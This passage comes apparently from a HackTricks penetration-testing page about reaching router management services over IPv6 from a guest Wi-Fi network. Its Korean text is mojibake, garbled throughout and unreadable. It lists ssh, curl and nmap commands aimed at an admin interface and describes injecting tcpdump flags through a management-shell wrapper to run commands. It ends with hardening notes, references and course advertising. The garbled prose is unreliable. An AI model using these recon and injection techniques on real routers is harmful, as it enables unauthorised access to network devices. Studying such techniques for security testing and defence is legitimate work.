- ๊ฒ์คํธ SSID์์ IPv6๋ฅผ ํตํด ๋ ธ์ถ๋ ์๋น์ค์ ์ ๊ทผํ๊ธฐ:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- ๊ด๋ฆฌ ์
ธ์ด ๋ํผ๋ฅผ ํตํด ํจํท ์บก์ฒ ๋๊ตฌ๋ฅผ ์ ๊ณตํ๋ ๊ฒฝ์ฐ(์: tcpdump), ์ถ๊ฐ tcpdump ํ๋๊ทธ(
-G/-W/-z)๋ฅผ ์ ๋ฌํ ์ ์๋ ์ธ์/ํ์ผ ์ด๋ฆ ์ฃผ์ ์ ํ์ธํ์ฌ ํฌ์คํธ ํ์ ๋ช ๋ น ์คํ์ ๋ฌ์ฑํฉ๋๋ค. ์ฐธ์กฐ:
๋ฐฉ์ด/๋ ธํธ:
- ๊ด๋ฆฌ ๊ธฐ๋ฅ์ ๊ฒ์คํธ/๊ณต์ฉ ๋ธ๋ฆฌ์ง์ ๋ฐ์ธ๋ฉํ์ง ๋ง์ญ์์ค; SSID ๋ธ๋ฆฌ์ง์ IPv6 ๋ฐฉํ๋ฒฝ์ ์ ์ฉํ์ญ์์ค.
- ๊ฐ๋ฅํ ๊ฒฝ์ฐ ๊ฒ์คํธ ์ธ๊ทธ๋จผํธ์์ NDP/RS/RA์ ์๋ ์ ํ ๋ฐ ํํฐ๋ง์ ์ ์ฉํ์ญ์์ค.
- ๋๋ฌ ๊ฐ๋ฅํด์ผ ํ๋ ์๋น์ค์ ๋ํด ์ธ์ฆ(N/MFA) ๋ฐ ๊ฐ๋ ฅํ ์๋ ์ ํ์ ์ํํ์ญ์์ค.
์ฐธ์กฐ
- Legless โ IPv6 Penetration Testing
- mitm6
- RFC 8106 โ IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG โ Full Exploit Chain
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


